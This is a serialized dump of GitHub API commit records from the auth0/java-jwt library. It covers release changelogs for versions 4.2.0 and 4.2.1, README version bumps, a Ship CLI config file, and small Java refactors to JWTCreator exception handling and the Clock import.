  Jim Andersonj6
  jimranderson@gmail.comj8
  2022-10-19T19:55:51Zumessage
Release 4.2.0tree}(j,
  (86a7582cd034dfcf678cc88397bca2eee3134ab5url^https://api.github.com/repos/auth0/java-jwt/git/trees/86a7582cd034dfcf678cc88397bca2eee3134ab5ujD
  `https://api.github.com/repos/auth0/java-jwt/git/commits/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujD
  \https://api.github.com/repos/auth0/java-jwt/commits/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957html_urlQhttps://github.com/auth0/java-jwt/commit/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957/commentsj2
  }(login
jimmyjamesidJ7 j.
  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3jD
  'https://api.github.com/users/jimmyjamesjP
  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj:
  }(jU
  
jimmyjamesjW
  J7 j.
  MDQ6VXNlcjI3NjIyNQ==jY
  2https://avatars.githubusercontent.com/u/276225?v=4j[
  h3jD
  'https://api.github.com/users/jimmyjamesjP
  https://github.com/jimmyjamesj^
  1https://api.github.com/users/jimmyjames/followersj`
  >https://api.github.com/users/jimmyjames/following{/other_user}jb
  7https://api.github.com/users/jimmyjames/gists{/gist_id}jd
  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jf
  5https://api.github.com/users/jimmyjames/subscriptionsjh
  ,https://api.github.com/users/jimmyjames/orgsjj
  -https://api.github.com/users/jimmyjames/reposjl
  8https://api.github.com/users/jimmyjames/events{/privacy}jn
  7https://api.github.com/users/jimmyjames/received_eventsjp
  Userjr
  uparents]}(j,
  (49c5def67ab2d37aa98f210bec2ca5ea39889d8cjD
  \https://api.github.com/repos/auth0/java-jwt/commits/49c5def67ab2d37aa98f210bec2ca5ea39889d8cjP
  Qhttps://github.com/auth0/java-jwt/commit/49c5def67ab2d37aa98f210bec2ca5ea39889d8cuastats}(totalK	additionsK	deletionsKufiles](}(j,
  (c6c2d511a9e2bec805444dd5e1a075842de77085filenameCHANGELOG.mdstatusmodifiedj
  Kj
  K changesKblob_url\https://github.com/auth0/java-jwt/blob/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=04f0e1c9f0f2c026a56f3be512d6b9fc813c4957patchX   @@ -1,5 +1,17 @@
 # Change Log
 
+## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
+
+**Changed**
+- Re-enable japicmp API diff checking [\#619](https://github.com/auth0/java-jwt/pull/619) ([jimmyjames](https://github.com/jimmyjames))
+- Update .shiprc to only update lib version in build.gradle [\#625](https://github.com/auth0/java-jwt/pull/625) ([jimmyjames](https://github.com/jimmyjames))
+- Optimise TokenUtils parsing [\#611](https://github.com/auth0/java-jwt/pull/611) ([noetro](https://github.com/noetro))
+- Update Circle Ship Orb configuration [\#616](https://github.com/auth0/java-jwt/pull/616) ([frederikprijck](https://github.com/frederikprijck))
+
+**Fixed**
+- Update Claim#asString documentation [\#615](https://github.com/auth0/java-jwt/pull/615) ([jimmyjames](https://github.com/jimmyjames))
+
 ## [4.1.0](https://github.com/auth0/java-jwt/tree/4.1.0) (2022-10-06)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.0.0...4.1.0)
 u}(j,
  (89b67ad8ab738263dfe5031dacbdf28b7e8a7e41j
  	README.mdj
  modifiedj
  Kj
  Kj
  Kj
  Yhttps://github.com/auth0/java-jwt/blob/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957/README.mdj
  Xhttps://github.com/auth0/java-jwt/raw/04f0e1c9f0f2c026a56f3be512d6b9fc813c4957/README.mdj
  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=04f0e1c9f0f2c026a56f3be512d6b9fc813c4957j
  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.1.0'
+implementation 'com.auth0:java-jwt:4.2.0'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.1.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.1.0</version>
+    <version>4.2.0</version>
 </dependency>
 ```
 ueu(f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9}(sha(f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9node_idEC_kwDOAQtL0doAKGYxZGNjNjIwNDdiNjVmYTg3MTdmNGEyMmI1YjhmOGI2M2I4YzlhZTkcommit}(author}(name
Andreas Rigasemailandreas.rigas@outlook.comdate2023-03-15T20:14:04Zu	committer}(j
  
Andreas Rigasj
  andreas.rigas@outlook.comj
  2023-03-15T20:14:04Zumessageresolve commentstree}(j
  (c0951923771e13904476e08d7256b8760fd60fe1url^https://api.github.com/repos/auth0/java-jwt/git/trees/c0951923771e13904476e08d7256b8760fd60fe1uj
  `https://api.github.com/repos/auth0/java-jwt/git/commits/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj
  \https://api.github.com/repos/auth0/java-jwt/commits/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9html_urlQhttps://github.com/auth0/java-jwt/commit/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9/commentsj
  }(loginandrewrigasidJj
  MDQ6VXNlcjQ4Mjk2NDcx
avatar_url4https://avatars.githubusercontent.com/u/48296471?v=4gravatar_idh3j
  (https://api.github.com/users/andrewrigasj
  https://github.com/andrewrigas
followers_url2https://api.github.com/users/andrewrigas/followers
following_url?https://api.github.com/users/andrewrigas/following{/other_user}	gists_url8https://api.github.com/users/andrewrigas/gists{/gist_id}starred_url?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}subscriptions_url6https://api.github.com/users/andrewrigas/subscriptionsorganizations_url-https://api.github.com/users/andrewrigas/orgs	repos_url.https://api.github.com/users/andrewrigas/repos
events_url9https://api.github.com/users/andrewrigas/events{/privacy}received_events_url8https://api.github.com/users/andrewrigas/received_eventstypeUser
site_adminuj
  }(j
  andrewrigasj
  Jj
  MDQ6VXNlcjQ4Mjk2NDcxj
  4https://avatars.githubusercontent.com/u/48296471?v=4j
  h3j
  (https://api.github.com/users/andrewrigasj
  https://github.com/andrewrigasj
  2https://api.github.com/users/andrewrigas/followersj
  ?https://api.github.com/users/andrewrigas/following{/other_user}j
  8https://api.github.com/users/andrewrigas/gists{/gist_id}j
  ?https://api.github.com/users/andrewrigas/starred{/owner}{/repo}j
  6https://api.github.com/users/andrewrigas/subscriptionsj
  -https://api.github.com/users/andrewrigas/orgsj
  .https://api.github.com/users/andrewrigas/reposj
  9https://api.github.com/users/andrewrigas/events{/privacy}j
  8https://api.github.com/users/andrewrigas/received_eventsj
  Userj
  uparents]}(j
  (dbc90eb80e9271ff69a2837fd4e78fa62b87924fj
  \https://api.github.com/repos/auth0/java-jwt/commits/dbc90eb80e9271ff69a2837fd4e78fa62b87924fj
  Qhttps://github.com/auth0/java-jwt/commit/dbc90eb80e9271ff69a2837fd4e78fa62b87924fuastats}(totalK$	additionsK	deletionsKufiles](}(j
  (f554cbc39d20672de72f90fe5909e677916b12a8filename/lib/src/main/java/com/auth0/jwt/JWTCreator.javastatusmodifiedj	  Kj
  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javaraw_urlhttps://github.com/auth0/java-jwt/raw/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9patchX
  @@ -104,16 +104,19 @@ public Builder withHeader(Map<String, Object> headerClaims) {
          *
          * @param headerClaimsJson the values to use as Claims in the token's Header.
          * @return this same Builder instance.
-         * @throws JsonProcessingException if json value has invalid structure
+         * @throws IllegalArgumentException if json value has invalid structure
          */
-        public Builder withHeader(String headerClaimsJson) throws JsonProcessingException {
+        public Builder withHeader(String headerClaimsJson) throws IllegalArgumentException {
             if (headerClaimsJson == null) {
                 return this;
             }
 
-            Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
-
-            return withHeader(headerClaims);
+            try {
+                Map<String, Object> headerClaims = mapper.readValue(headerClaimsJson, HashMap.class);
+                return withHeader(headerClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid header JSON", e);
+            }
         }
 
         /**
@@ -496,17 +499,20 @@ public Builder withPayload(Map<String, ?> payloadClaims) throws IllegalArgumentE
          * @param payloadClaimsJson the values to use as Claims in the token's payload.
          * @return this same Builder instance.
          * @throws IllegalArgumentException if any of the claim keys or null,
-         *                                  or if the values are not of a supported type.
-         * @throws JsonProcessingException if json value has invalid structure
+         *                                  or if the values are not of a supported type,
+         *                                  or if json value has invalid structure.
          */
-        public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException, JsonProcessingException {
+        public Builder withPayload(String payloadClaimsJson) throws IllegalArgumentException {
             if (payloadClaimsJson == null) {
                 return this;
             }
 
-            Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
-
-            return withPayload(payloadClaims);
+            try {
+                Map<String, Object> payloadClaims =  mapper.readValue(payloadClaimsJson, HashMap.class);
+                return withPayload(payloadClaims);
+            } catch (JsonProcessingException e) {
+                throw new IllegalArgumentException("Invalid payload JSON", e);
+            }
         }
 
         private boolean validatePayload(Map<String, ?> payload) {u}(j
  (0b895cea90d80e745258e33fcd93a0be1b330e69j  3lib/src/test/java/com/auth0/jwt/JWTCreatorTest.javaj  modifiedj	  Kj
  Kj  Kj  https://github.com/auth0/java-jwt/blob/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://github.com/auth0/java-jwt/raw/f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.javaj  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Ftest%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreatorTest.java?ref=f1dcc62047b65fa8717f4a22b5b8f8b63b8c9ae9j  X>  @@ -82,7 +82,7 @@ public void shouldAddHeaderClaim() {
     }
 
     @Test
-    public void shouldReturnBuilderIfNullMapIsProvided() throws JsonProcessingException {
+    public void shouldReturnBuilderIfNullMapIsProvided() {
         Map<String, Object> nullMap = null;
         String nullString = null;
         String signed = JWTCreator.init()
@@ -94,7 +94,7 @@ public void shouldReturnBuilderIfNullMapIsProvided() throws JsonProcessingExcept
     }
 
     @Test
-    public void shouldSupportJsonValueHeaderWithNestedDataStructure() throws JsonProcessingException {
+    public void shouldSupportJsonValueHeaderWithNestedDataStructure() {
         String stringClaim = "someClaim";
         Integer intClaim = 1;
         List<String> nestedListClaims = Arrays.asList("1", "2");
@@ -739,7 +739,7 @@ public void withPayloadShouldAddBasicClaim() {
     }
 
     @Test
-    public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() throws JsonProcessingException {
+    public void withPayloadShouldCreateJwtWithEmptyBodyIfPayloadNull() {
         Map<String, Object> nullMap = null;
         String nullString = null;
         String jwt = JWTCreator.init()
@@ -950,7 +950,7 @@ public void withPayloadShouldSupportNullValuesEverywhere() {
     }
 
     @Test
-    public void withPayloadShouldSupportJsonValueWithNestedDataStructure() throws JsonProcessingException {
+    public void withPayloadShouldSupportJsonValueWithNestedDataStructure() {
         String stringClaim = "someClaim";
         Integer intClaim = 1;
         List<String> nestedListClaims = Arrays.asList("1", "2");ueu(119c2a8a8a82ef3955c03c8a0a482e763aa75c34}(sha(119c2a8a8a82ef3955c03c8a0a482e763aa75c34node_idEC_kwDOAQtL0doAKDExOWMyYThhOGE4MmVmMzk1NWMwM2M4YTBhNDgyZTc2M2FhNzVjMzQcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-25T01:52:11Zu	committer}(j.  Jim Andersonj0  jimranderson@gmail.comj2  2022-10-25T01:52:11Zumessage
Release 4.2.1tree}(j&  (96525c443885a9acb6c40e1424af5a91a169ab5burl^https://api.github.com/repos/auth0/java-jwt/git/trees/96525c443885a9acb6c40e1424af5a91a169ab5buj>  `https://api.github.com/repos/auth0/java-jwt/git/commits/119c2a8a8a82ef3955c03c8a0a482e763aa75c34
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj>  \https://api.github.com/repos/auth0/java-jwt/commits/119c2a8a8a82ef3955c03c8a0a482e763aa75c34html_urlQhttps://github.com/auth0/java-jwt/commit/119c2a8a8a82ef3955c03c8a0a482e763aa75c34comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/commentsj,  }(login
jimmyjamesidJ7 j(  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j>  'https://api.github.com/users/jimmyjamesjJ  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj4  }(jO  
jimmyjamesjQ  J7 j(  MDQ6VXNlcjI3NjIyNQ==jS  2https://avatars.githubusercontent.com/u/276225?v=4jU  h3j>  'https://api.github.com/users/jimmyjamesjJ  https://github.com/jimmyjamesjX  1https://api.github.com/users/jimmyjames/followersjZ  >https://api.github.com/users/jimmyjames/following{/other_user}j\  7https://api.github.com/users/jimmyjames/gists{/gist_id}j^  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j`  5https://api.github.com/users/jimmyjames/subscriptionsjb  ,https://api.github.com/users/jimmyjames/orgsjd  -https://api.github.com/users/jimmyjames/reposjf  8https://api.github.com/users/jimmyjames/events{/privacy}jh  7https://api.github.com/users/jimmyjames/received_eventsjj  Userjl  uparents]}(j&  (3cff66f1a23b51ab85ae4d7c5c1837b90677c75ej>  \https://api.github.com/repos/auth0/java-jwt/commits/3cff66f1a23b51ab85ae4d7c5c1837b90677c75ejJ  Qhttps://github.com/auth0/java-jwt/commit/3cff66f1a23b51ab85ae4d7c5c1837b90677c75euastats}(totalK
	additionsK
	deletionsKufiles](}(j&  (ed3706dc294ee25e8eb7f64328bff099ac3f864afilenameCHANGELOG.mdstatusmodifiedj  Kj  K changesKblob_url\https://github.com/auth0/java-jwt/blob/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/CHANGELOG.mdraw_url[https://github.com/auth0/java-jwt/raw/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/CHANGELOG.mdcontents_urlnhttps://api.github.com/repos/auth0/java-jwt/contents/CHANGELOG.md?ref=119c2a8a8a82ef3955c03c8a0a482e763aa75c34patchXq  @@ -1,5 +1,12 @@
 # Change Log
 
+## [4.2.1](https://github.com/auth0/java-jwt/tree/4.2.1) (2022-10-24)
+[Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.0...4.2.1)
+
+**Security**
+- Use latest ship orb [\#634](https://github.com/auth0/java-jwt/pull/634) ([jimmyjames](https://github.com/jimmyjames))
+- Bump `com.fasterxml.jackson.core:jackson-databind` to 2.13.4.2 [\#630](https://github.com/auth0/java-jwt/pull/630) ([evansims](https://github.com/evansims))
+
 ## [4.2.0](https://github.com/auth0/java-jwt/tree/4.2.0) (2022-10-19)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.1.0...4.2.0)
 u}(j&  (b19bbf2f801a741a14748c77aa9ea7f3da4eaf93j  	README.mdj  modifiedj  Kj  Kj  Kj  Yhttps://github.com/auth0/java-jwt/blob/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/README.mdj  Xhttps://github.com/auth0/java-jwt/raw/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/README.mdj  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=119c2a8a8a82ef3955c03c8a0a482e763aa75c34j  X  @@ -39,7 +39,7 @@ This library is supported for Java 8, 11, and 17. For issues on non-LTS versions
 ### Gradle
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.0'
+implementation 'com.auth0:java-jwt:4.2.1'
 ```
 
 ### Maven
@@ -48,7 +48,7 @@ implementation 'com.auth0:java-jwt:4.2.0'
 <dependency>
     <groupId>com.auth0</groupId>
     <artifactId>java-jwt</artifactId>
-    <version>4.2.0</version>
+    <version>4.2.1</version>
 </dependency>
 ```
 u}(j&  (d6c9b061b1c80fe7c5e5cc7e40aa9f3ed407b249j  lib/build.gradlej  modifiedj  Kj  Kj  Kj  bhttps://github.com/auth0/java-jwt/blob/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/lib%2Fbuild.gradlej  ahttps://github.com/auth0/java-jwt/raw/119c2a8a8a82ef3955c03c8a0a482e763aa75c34/lib%2Fbuild.gradlej  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=119c2a8a8a82ef3955c03c8a0a482e763aa75c34j  \@@ -1,5 +1,5 @@
 buildscript {
-    version = "4.2.0"
+    version = "4.2.1"
 }
 
 plugins {ueu(5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb}(sha(5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbnode_idEC_kwDOAQtL0doAKDUyMzdjM2Y0ZDhmNzg5NzNlYjNjYjAxODA5MzdmOWJmYjZkZDE3Y2Icommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-09-19T15:23:42Zu	committer}(j  GitHubj  noreply@github.comj  2022-09-19T15:23:42ZumessageAMerge pull request #609 from auth0/use-ship

Add Ship CLI supporttree}(j  (1bbdea88de232d8014b22bc5180daa0b1c804d91url^https://api.github.com/repos/auth0/java-jwt/git/trees/1bbdea88de232d8014b22bc5180daa0b1c804d91uj  `https://api.github.com/repos/auth0/java-jwt/git/commits/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjKIl+CRBK7hj4Ov3rIwAALUQIAB5S8K5VCZDI3iTir+0jbYV+
BgLzl6lZMVNE4Tv9dScVCMMywXE9jwLYLVc4nCP6YPQy5Y7i1uj02I2jmAnaK1AR
HBi1FEMUrr6SbfHCj6T/t7sLRxAomf1OYLudlfWoJp20L3wgnl9uxuXrBiRCMern
dA2+UmGARPBZ7/9JUOkklxDuD7/hzx0KClXwTKsQQtD8sBSkbdx8Wd1761LsW+HG
PKQRoMp9eN/xy3mGMt0FX0qhOnDzRpO+E3Pc1fL8jUm7xXoeV6M59Ycpo9dO5ru9
J0bqkSjArEcQ9lOTCRhiooJT0MOZnTXVmHLNOTSUGGbuQi0aZGO6WFlPuzMwtqI=
=bIqR
-----END PGP SIGNATURE-----
payloadXE  tree 1bbdea88de232d8014b22bc5180daa0b1c804d91
parent a5b414d34ff22230e8914e85a0278c750c847096
parent adbabeb7c45fc3862a5d5b2c64321d06a33c725d
author Jim Anderson <jim.anderson@auth0.com> 1663601022 -0500
committer GitHub <noreply@github.com> 1663601022 -0500

Merge pull request #609 from auth0/use-ship

Add Ship CLI supportuuj  \https://api.github.com/repos/auth0/java-jwt/commits/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbhtml_urlQhttps://github.com/auth0/java-jwt/commit/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb/commentsj  }(login
jimmyjamesidJ7 j  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j  'https://api.github.com/users/jimmyjamesj  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj  }(j  web-flowj  J/j  MDQ6VXNlcjE5ODY0NDQ3j  4https://avatars.githubusercontent.com/u/19864447?v=4j  h3j  %https://api.github.com/users/web-flowj  https://github.com/web-flowj  /https://api.github.com/users/web-flow/followersj  <https://api.github.com/users/web-flow/following{/other_user}j  5https://api.github.com/users/web-flow/gists{/gist_id}j  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j  3https://api.github.com/users/web-flow/subscriptionsj  *https://api.github.com/users/web-flow/orgsj  +https://api.github.com/users/web-flow/reposj  6https://api.github.com/users/web-flow/events{/privacy}j  5https://api.github.com/users/web-flow/received_eventsj  Userj  uparents](}(j  (a5b414d34ff22230e8914e85a0278c750c847096j  \https://api.github.com/repos/auth0/java-jwt/commits/a5b414d34ff22230e8914e85a0278c750c847096j  Qhttps://github.com/auth0/java-jwt/commit/a5b414d34ff22230e8914e85a0278c750c847096u}(j  (adbabeb7c45fc3862a5d5b2c64321d06a33c725dj  \https://api.github.com/repos/auth0/java-jwt/commits/adbabeb7c45fc3862a5d5b2c64321d06a33c725dj  Qhttps://github.com/auth0/java-jwt/commit/adbabeb7c45fc3862a5d5b2c64321d06a33c725duestats}(totalK	additionsK	deletionsK ufiles]}(j  (7509d0787753fa4dbbf7dbee8737c16d17189653filename.shiprcstatusaddedj  Kj  K changesKblob_urlWhttps://github.com/auth0/java-jwt/blob/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb/.shiprcraw_urlVhttps://github.com/auth0/java-jwt/raw/5237c3f4d8f78973eb3cb0180937f9bfb6dd17cb/.shiprccontents_urlihttps://api.github.com/repos/auth0/java-jwt/contents/.shiprc?ref=5237c3f4d8f78973eb3cb0180937f9bfb6dd17cbpatcht@@ -0,0 +1,6 @@
+{
+  "files": {
+    "README.md": []
+  },
+  "prefixVersion": false
+}
\ No newline at end of fileuau(1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa}(sha(1ccecd40417bb7e4da9cf94aa612a8ad4d0086fanode_idEC_kwDOAQtL0doAKDFjY2VjZDQwNDE3YmI3ZTRkYTljZjk0YWE2MTJhOGFkNGQwMDg2ZmEcommit}(author}(nameJim Andersonemailjim.anderson@auth0.comdate2022-03-02T18:27:18Zu	committer}(j.  GitHubj0  noreply@github.comj2  2022-03-02T18:27:18ZumessageM[SDK-3160] Replace com.auth0.jwt.interfaces.Clock with java.time.Clock (#532)tree}(j&  (6dde074728230e091b41fd78fe6304be15ace615url^https://api.github.com/repos/auth0/java-jwt/git/trees/6dde074728230e091b41fd78fe6304be15ace615uj>  `https://api.github.com/repos/auth0/java-jwt/git/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJiH7cGCRBK7hj4Ov3rIwAAjkEIAFakeGCztS+u9joCVBhnVZa6
OWAjcy77TSixIU1TrgCphJeKGDKRwYqpJmW7TdRnBKRRTYd3H+/sv2zMmoCu5GyZ
Br6JW0UdSgzCGPU/WqrjHLrwoxm5DQ6WjqEwrH4odKlMs2iYfD773+z00Xx1LvJ9
UK5qppwboF/0ZC/5GI1ev4RuJCeYWTes/4KcDtJ/d9/NyKZzNzTvpXNfJoDUiAOS
+ZR6QyTZr7Qy4eG21xhm+sXYUM8mX/O38mo26fhX7Kv5xvg4USCQ4xOv3Nr2YaMy
iQ25f8PWAiRY1uEE9tJTyqUQEU73vR/DDNU8el/eQrb36Wg0va2JBWpFRnNym2Y=
=FVDq
-----END PGP SIGNATURE-----
payloadX#  tree 6dde074728230e091b41fd78fe6304be15ace615
parent 56a3463d5c2c6942d040a323a88c9c46b086b70c
author Jim Anderson <jim.anderson@auth0.com> 1646245638 -0600
committer GitHub <noreply@github.com> 1646245638 -0600

[SDK-3160] Replace com.auth0.jwt.interfaces.Clock with java.time.Clock (#532)

uuj>  \https://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fahtml_urlQhttps://github.com/auth0/java-jwt/commit/1ccecd40417bb7e4da9cf94aa612a8ad4d0086facomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/commentsj,  }(login
jimmyjamesidJ7 j(  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j>  'https://api.github.com/users/jimmyjamesjL  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj4  }(jQ  web-flowjS  J/j(  MDQ6VXNlcjE5ODY0NDQ3jU  4https://avatars.githubusercontent.com/u/19864447?v=4jW  h3j>  %https://api.github.com/users/web-flowjL  https://github.com/web-flowjZ  /https://api.github.com/users/web-flow/followersj\  <https://api.github.com/users/web-flow/following{/other_user}j^  5https://api.github.com/users/web-flow/gists{/gist_id}j`  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jb  3https://api.github.com/users/web-flow/subscriptionsjd  *https://api.github.com/users/web-flow/orgsjf  +https://api.github.com/users/web-flow/reposjh  6https://api.github.com/users/web-flow/events{/privacy}jj  5https://api.github.com/users/web-flow/received_eventsjl  Userjn  uparents]}(j&  (56a3463d5c2c6942d040a323a88c9c46b086b70cj>  \https://api.github.com/repos/auth0/java-jwt/commits/56a3463d5c2c6942d040a323a88c9c46b086b70cjL  Qhttps://github.com/auth0/java-jwt/commit/56a3463d5c2c6942d040a323a88c9c46b086b70cuastats}(totalKx	additionsK&	deletionsKRufiles](}(j&  (9a7ea2b21ddf2aa62dd0e87c5173c855d1b862ecfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj  Kj  KchangesK	blob_urlhttps://github.com/auth0/java-jwt/blob/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/1ccecd40417bb7e4da9cf94aa612a8ad4d0086fa/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=1ccecd40417bb7e4da9cf94aa612a8ad4d0086fapatchX  @@ -6,12 +6,11 @@
 import com.auth0.jwt.impl.NullClaim;
 import com.auth0.jwt.impl.PublicClaims;
 import com.auth0.jwt.interfaces.Claim;
-import com.auth0.jwt.interfaces.Clock;
 import com.auth0.jwt.interfaces.DecodedJWT;
 import com.auth0.jwt.interfaces.Verification;
 
 import java.util.*;
-import java.util.stream.Collectors;
+import java.time.Clock;
 
 /**
  * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
